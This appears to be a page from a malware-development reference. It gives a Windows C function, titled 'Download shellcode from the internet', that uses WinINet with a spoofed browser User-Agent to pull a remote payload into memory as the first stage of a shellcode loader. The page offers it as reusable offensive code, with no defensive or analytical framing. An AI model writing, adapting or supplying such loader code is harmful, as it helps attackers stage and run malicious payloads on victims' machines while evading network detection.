Download
Download shellcode from the internet
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
DOWNLOAD_STATUS DownloadShellcode(IN LPCSTR lpUrl, OUT PBYTE *ppBuffer, OUT SIZE_T *psBufferSize)
{
if (lpUrl == NULL || ppBuffer == NULL || psBufferSize == NULL)
return FALSE;
HINTERNET hInternet = InternetOpenA("Mozilla/6.6 (Windows NT 6.6; WOW64) AppleWebKit/666.66 (KHTML, like "
"Gecko) Chrome/66.0.6666.666 Safari/666.66",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
return FALSE;
HINTERNET hConnect = InternetOpenUrlA(hInternet, lpUrl, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL)
{
InternetCloseHandle(hInternet);
return FALSE;
}
DWORD dwBytesRead = 0;
DWORD dwBytesToRead = 0;
DWORD dwTotalBytesRead = 0;
DWORD dwSize = 0;
// get size of buffer
if (!InternetQueryDataAvailable(hConnect, &dwBytesToRead, 0, 0))
{
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
// allocate buffer
PBYTE pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesToRead);
if (pBuffer == NULL)
{
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
// read data
while (InternetReadFile(hConnect, pBuffer + dwTotalBytesRead, dwBytesToRead, &dwBytesRead))
{
if (dwBytesRead == 0)
break;
dwTotalBytesRead += dwBytesRead;
if (!InternetQueryDataAvailable(hConnect, &dwBytesToRead, 0, 0))
break;
if (dwBytesToRead == 0)
break;
PBYTE pTemp =
(PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBuffer, dwTotalBytesRead + dwBytesToRead);
if (pTemp == NULL)
{
HeapFree(GetProcessHeap(), 0, pBuffer);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return FALSE;
}
pBuffer = pTemp;
}
*ppBuffer = pBuffer;
*psBufferSize = dwTotalBytesRead;
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return TRUE;
}Last updated